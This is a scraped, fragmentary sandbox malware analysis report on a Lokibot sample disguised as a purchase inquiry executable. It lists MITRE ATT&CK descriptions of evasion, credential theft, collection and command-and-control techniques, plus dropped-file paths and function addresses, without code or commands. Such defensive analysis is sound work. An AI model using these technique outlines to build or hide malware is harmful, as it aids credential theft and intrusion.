Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Purchase Inquiry_#466789.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lokibot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase Inquiry_#466789.exe.log

C:\Users\user\AppData\Roaming\188E93\31437F.lck

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
Purchase Inquiry_#466789.exe

Function 0116CF80 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Function 05905FD4 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245
processCOMMON

Function 05905FE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Function 0116ACE8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 199
COMMON

Function 05904110 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104
windowCOMMON

Function 011644C4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Function 011658F4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
COMMON

Function 0116D5D0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Function 0116A070 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
libraryCOMMON

Function 0116B159 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
libraryCOMMON

Function 0116AED8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Function 05904100 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
windowCOMMON

Function 00403D74 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre